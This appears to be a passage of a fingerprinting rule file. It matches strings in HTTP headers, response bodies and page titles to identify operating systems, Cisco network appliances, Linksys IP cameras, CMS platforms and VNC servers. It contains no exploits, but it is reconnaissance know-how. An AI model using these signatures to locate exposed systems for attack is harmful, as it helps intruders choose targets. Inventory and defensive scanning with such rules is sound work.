+BlockDos Header="server: blockdos.net"
+BlockDos Response="server: blockdos.net"
+OBSERVA-telcom Title=="observa"
+Oracle-Solaris Response="oracle solaris"
+FreeBSD Header="freebsd"
+FreeBSD Response="freebsd"
+LinuxMint Header="server: linuxmint"
+LinuxMint Response="mint"
+RedhatSystem Response="red hat"
+RedhatSystem Response="redhat"
+openSUSE Header="suse"
+openSUSE Response="suse"
+openSUSE Response="x01welcome to suse"
+openSUSE Header="opensuse"
+openSUSE Response="opensuse"
+Fedora Response="fedora"
+Ubuntu Response="x01ubuntu"
+Ubuntu Body="welcome to nginx on ubuntu!"
+Ubuntu Response="ubuntu"
+CentOS Header="centos"
+CentOS Title="apache http server test page powered by centos"
+CentOS Response="centos"
+Debian Body="welcome to nginx on debian!
"
+Debian Response="debian"
+Startbbs Response="stb_csrf_cookie"
+Startbbs Header="stb_csrf_cookie"
+Startbbs Body="content=\"startbbs"
+Cisco-ASA Response="cisco adaptive security appliance"
+Cisco-ASA Header="adaptive security appliance http"
+Cisco-ASA Header="cisco asa"
+Cisco-VDS Response="server: cisco-vds"
+Cisco-VDS Header="cisco-vds"
+Servlet Response="servlet"
+Servlet Header="servlet"
+Cisco-IronPort Response="basic realm=\"cisco ironport"
+Cisco-IronPort Header="cisco ironport"
+Cisco-DLT Response="server: cisco-dlt"
+Cisco-DLT Body="system name: cisco dlt"
+Cisco-DLT Header="cisco-dlt"
+Cisco-xSeries Response="cisco xseries"
+Cisco-xSeries Header="cisco xseries"
+Cisco-ASR Response="cisco ios software, asr900"
+Cisco-ASR Response="cisco ios software, asr1000"
+Cisco-ASR Header="cisco 8600"
+Cisco-ASR Response="cisco asr"
+Cisco-ASR Header="cisco asr"
+Cisco-Expert-Talks Header="cisco-sx80"
+Cisco-Expert-Talks Header="cisco-cx20"
+Cisco-Expert-Talks Response="cisco expert talks"
+Cisco-Expert-Talks Header="cisco expert talks"
+Cisco-Rimes Response="rimes-cisco"
+Cisco-Rimes Header="rimes-cisco"
+Cisco-ECDS Response="server: cisco-ecds"
+Cisco-ECDS Header="cisco-ecds/"
+Cisco-Acceleration Response="server: cisco acceleration"
+Cisco-Acceleration Header="cisco acceleration"
+Cisco-ACE Response="ace 4710"
+Cisco-ACE Header="ace xml gateway"
+Cisco-ACE Response="cisco ace"
+Cisco-ACE Header="cisco ace"
+Cisco-VOS Response="server: cisco-vos"
+Cisco-VOS Header="cisco-vos"
+Cisco-CDS Response="server: cisco-cds"
+Cisco-CDS Header="cisco-cds"
+Cisco-AWARE Header!="webvpn" && Header="cisco aware"
+Cisco-WSA Response="cisco-wsa"
+Cisco-WSA Header="cisco-wsa"
+Cisco-UCC Header="cisco" && Body="cisco unified contact center"
+Cisco-MWEB Response="cisco-mweb"
+Cisco-MWEB Header="cisco-mweb"
+Cisco-XNC Header="server: cisco xnc"
+Cisco-XNC Response="server:" && Response="cisco xnc"
+Cisco-IOS-XR Header="server: cisco ios-xr"
+Cisco-IOS-XR Response="cisco ios xr"
+Cisco-IOS-XR Header="cisco ios-xr"
+CC-Customer-Service Body=""
+Linksys-IP-Cameras Body=""
+Linksys-IP-Cameras Body="content=\"wvc80n"
+Linksys-IP-Cameras Body="content=\"wvc54gca"
+Linksys-IP-Cameras Title="+tm01+"
+ThinkCMF Body="made by thinkcmf"
+ThinkCMF Response="x-powered-by: thinkcmf"
+ThinkCMF Header="x-powered-by: thinkcmf"
+ThinkCMF Body="content=\"thinkcmf"
+Open-edX Body="alt=\"powered by open edx"
+Open-edX Body="class=\"footer-about-openedx"
+Open-edX Body="id=\"footer-openedx"
+Fast-Mirror Header="server: fastmirror"
+VNC Body="